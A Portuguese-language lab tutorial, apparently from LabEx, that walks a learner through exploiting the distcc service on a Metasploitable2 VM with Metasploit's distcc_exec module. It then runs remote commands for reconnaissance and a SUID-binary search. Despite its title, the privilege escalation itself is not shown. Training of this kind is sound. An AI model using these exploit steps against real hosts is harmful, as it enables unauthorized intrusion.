Executar Escalada de Privilégios em Máquina Linux com Nmap

CibersegurançaBeginner
Pratique Agora

Introdução

Neste laboratório, você utilizará o Metasploit para explorar o serviço distcc em um alvo Linux vulnerável, confirmar o contexto de execução remota obtido e coletar informações básicas do sistema a partir desse alvo. O fluxo de trabalho utiliza um comando remoto por vez a partir do prompt do módulo do Metasploit, em vez de uma sessão de shell interativa.

O módulo distcc neste alvo é confiável para a execução remota de comandos através de cmd/unix/generic, mas não abre um shell persistente neste ambiente. O principal objetivo de aprendizado é reconhecer esse comportamento, verificar qual conta remota executou cada comando e continuar a enumeração do alvo com comandos de acompanhamento deliberados.

Preparar o Ambiente

Nesta etapa, iniciaremos os componentes necessários do ambiente de laboratório, incluindo o contêiner Kali Linux e a máquina virtual Metasploitable2.

  1. Inicie a máquina virtual Metasploitable2 executando o seguinte comando no terminal:
sudo virsh start Metasploitable2

Aguarde a inicialização da máquina alvo; isso pode levar de 1 a 3 minutos.

  1. Teste se a máquina virtual iniciou fazendo um ping no endereço IP do alvo:
ping 192.168.122.102

Pressione Ctrl+C para interromper o ping.

  1. Inicie o contêiner Kali Linux e entre em seu shell bash:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro do contêiner Kali, teste a conectividade de rede fazendo um ping no hostname target:
ping 192.168.122.102

Pressione Ctrl+C para interromper o ping.

Obter Acesso Inicial à Máquina Alvo

Nesta etapa, usaremos o Metasploit Framework (MSF) no contêiner Kali para obter acesso inicial à máquina alvo Metasploitable2.

  1. Dentro do contêiner Kali, inicie o console do Metasploit:
cd ~
msfconsole
  1. Dentro do console do Metasploit, use o módulo de exploração distcc_exec:
use exploit/unix/misc/distcc_exec
  1. Defina o payload para execução genérica de comando remoto. Neste ambiente, o módulo não abre um shell interativo estável, portanto, você deve executar um comando remoto por vez:
set payload cmd/unix/generic
  1. Defina o endereço IP do host alvo:
set RHOST 192.168.122.102
  1. Defina o primeiro comando remoto que você deseja executar no alvo:
set CMD whoami
  1. Inicie a exploração para executar esse comando na máquina alvo:
run

Após uma execução bem-sucedida, você deverá ver uma saída semelhante a 192.168.122.102:3632 - stdout: daemon. Esse resultado significa que o comando foi executado no host remoto Metasploitable2 como o usuário daemon.

Permaneça no prompt msf6 exploit(unix/misc/distcc_exec) > para as próximas etapas. Para cada novo comando remoto, atualize o CMD e execute o módulo novamente.

Verificar Privilégios do Usuário Atual

Após obter a execução remota de comandos, precisamos verificar qual conta o alvo utilizou para o comando e se ela já possui privilégios elevados.

  1. Se você saiu do prompt do módulo distcc_exec, repita a configuração do Metasploit da Etapa 2 para retornar ao msf6 exploit(unix/misc/distcc_exec) >.

  2. Defina o comando remoto para verificar o usuário atual:

set CMD whoami
  1. Execute o módulo para rodar esse comando no alvo:
run
  1. Defina o próximo comando remoto para exibir o ID do usuário e as informações do grupo:
set CMD id
  1. Execute o módulo novamente:
run

Se a saída mostrar stdout: daemon e uid=1(daemon) gid=1(daemon), o exploit está executando comandos remotamente como a conta daemon em vez de root. Você precisaria de uma técnica adicional de escalada de privilégios para ir mais longe, mas para este laboratório, manteremos o foco na validação do acesso e na coleta de dados de reconhecimento.

Permaneça no mesmo prompt do módulo Metasploit para a próxima etapa.

Enumerar Informações do Sistema

Agora que você confirmou seu nível de acesso, reúna alguns detalhes do sistema alvo para identificar que tipo de host você comprometeu.

  1. Se você saiu do prompt do módulo distcc_exec, repita a configuração do Metasploit da Etapa 2 para retornar ao msf6 exploit(unix/misc/distcc_exec) >.

  2. Defina o comando remoto para verificar o banner da distribuição Linux:

set CMD "cat /etc/issue"
  1. Execute o módulo:
run

Aqui está um exemplo da saída que você pode ver a partir do alvo:

                _                  _       _ _        _     _      ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \\
| '_ ` _ \\ / _ \\ __/ _` / __| '_ \\| |/ _ \\| | __/ _` | '_ \\| |/ _ \\ __) |
| | | | | |  __/ || (_| \\__ \\ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\\___|\\__\\__,_|___/ .__/|_|\\___/|_|\\__\\__,_|_.__/|_|\\___|_____|
                            |_|

Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
  1. Defina o próximo comando remoto para verificar a versão do kernel:
set CMD "uname -a"
  1. Execute o módulo novamente:
run

Aqui está um exemplo da saída que você pode ver a partir do alvo:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
  1. Defina o comando remoto para encontrar arquivos SUID que poderiam ser potencialmente úteis para uma análise posterior de pós-exploração:
set CMD "find / -perm -u=s -type f 2>/dev/null"
  1. Execute o módulo mais uma vez:
run

Revise a lista para entender quais binários privilegiados estão presentes no alvo. As entradas exatas podem variar, mas você deve ver caminhos como /usr/bin/sudo e /usr/bin/nmap no host comprometido.

Após terminar de inspecionar a saída, você pode sair do Metasploit com exit.

Resumo

Neste laboratório, você iniciou o ambiente LabEx, usou o Metasploit Framework para explorar o serviço vulnerável distcc e executou comandos remotos contra o alvo Metasploitable2 através de cmd/unix/generic. Em seguida, você verificou o contexto de execução remota com whoami e id para confirmar qual conta o exploit utilizou antes de executar comandos de acompanhamento.

Você também reuniu informações básicas do sistema a partir do host comprometido, verificando seu banner de distribuição, versão do kernel e binários SUID disponíveis. Essas verificações de pós-exploração são úteis para confirmar qual acesso você obteve e para planejar uma enumeração mais aprofundada em um alvo Linux.